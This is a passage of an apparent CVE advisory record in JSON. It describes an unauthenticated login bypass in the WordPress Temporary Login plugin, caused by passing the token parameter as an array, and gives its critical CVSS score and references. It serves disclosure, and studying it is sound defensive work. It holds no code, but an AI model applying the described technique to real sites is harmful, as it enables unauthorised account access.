This is due to improper input validation in the maybe_login_temporary_user() function, which fails to verify that the 'temp-login-token' GET parameter is a scalar string before processing it. When the parameter is supplied as an array, PHP's empty() check is bypassed and sanitize_key() returns an empty string, which is then passed as the meta_value to get_users(). WordPress ignores an empty meta_value and returns all users matching the meta_key '_temporary_login_token', allowing authentication without a valid token. This makes it possible for unauthenticated attackers to authenticate as any active temporary login user by sending a single crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/temporary-login/tags/1.0.0/core/admin.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/tags/1.0.0/core/admin.php#L179", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/tags/1.0.0/core/options.php#L157", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/trunk/core/admin.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/trunk/core/admin.php#L179", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/temporary-login/trunk/core/options.php#L157", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f97c669b-86c1-4873-a050-76972f494099?source=cve", "source": "[email protected]"}]}}
